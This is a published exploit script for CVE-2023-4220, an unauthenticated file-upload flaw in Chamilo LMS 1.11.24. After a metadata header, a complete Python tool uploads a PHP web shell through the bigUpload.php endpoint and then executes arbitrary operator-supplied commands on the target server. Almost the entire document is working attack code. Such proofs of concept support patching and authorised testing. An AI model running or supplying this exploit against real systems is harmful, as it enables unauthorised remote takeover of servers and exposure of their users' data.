# Exploit Title: Chamilo LMS 1.11.24 - Remote Code Execution (RCE)
# Exploit Author: 0x00-null - Mohamed Kamel BOUZEKRIA
# Exploit Date: September 3, 2024
# Vendor Homepage: https://chamilo.org/
# Software Link: https://chamilo.org/
# Version: 1.11.24 (Beersel)
# Tested Versions: 1.11.24 (Beersel) - August 31, 2023
# CVE ID: CVE-2023-4220
# Vulnerability Type: Remote Code Execution
# Description: Unauthenticated remote code execution in Chamilo LMS <= 1.11.24 due to an unrestricted file upload vulnerability.
# Proof of Concept: Yes
# Categories: Web Application, Remote Code Execution, File Upload
# CVSS Score: 8.1 (High)
# CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
# Notes: Ensure that the /main/inc/lib/javascript/bigupload/files/ directory exists and is writable.
# License: MIT License
# References:
# - CVE Details: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-4220
# - Exploit Documentation: https://github.com/0x00-null/Chamilo-CVE-2023-4220-RCE-Exploit
# - Vendor Advisory: https://chamilo.org/

import requests
import argparse
from urllib.parse import urljoin

def upload_shell(target_url, payload_name):
    upload_url = urljoin(target_url, "main/inc/lib/javascript/bigupload/inc/bigUpload.php?action=post-unsupported")
    shell_path = f"/main/inc/lib/javascript/bigupload/files/{payload_name}"
    shell_url = urljoin(target_url, shell_path)
    
    # Payload containing the PHP web shell
    files = {'bigUploadFile': (payload_name, '<?php system($_GET["cmd"]); ?>', 'application/x-php')}
    
    # Upload the payload
    response = requests.post(upload_url, files=files)
    
    if response.status_code == 200:
        print("[+] File uploaded successfully!")
        print(f"[+] Access the shell at: {shell_url}?cmd=")
    else:
        print("[-] File upload failed.")

def execute_command(shell_url, cmd):
    # Execute the command
    response = requests.get(f"{shell_url}?cmd={cmd}")
    if response.status_code == 200:
        print(f"[+] Command Output:\n{response.text}")
    else:
        print(f"[-] Failed to execute command at {shell_url}")

if __name__ == "__main__":
    # Parse command-line arguments
    parser = argparse.ArgumentParser(description="CVE-2023-4220 Chamilo LMS Unauthenticated File Upload RCE Exploit")
    parser.add_argument('target_url', help="The target base URL of the Chamilo LMS instance (e.g., http://example.com/)")
    parser.add_argument('cmd', help="The command to execute on the remote server")
    parser.add_argument('--shell', default='rce.php', help="The name of the shell file to be uploaded (default: rce.php)")
    
    args = parser.parse_args()

    # Run the exploit with the provided arguments
    upload_shell(args.target_url, args.shell)
    
    # Form the shell URL to execute commands
    shell_url = urljoin(args.target_url, f"main/inc/lib/javascript/bigupload/files/{args.shell}")
    execute_command(shell_url, args.cmd)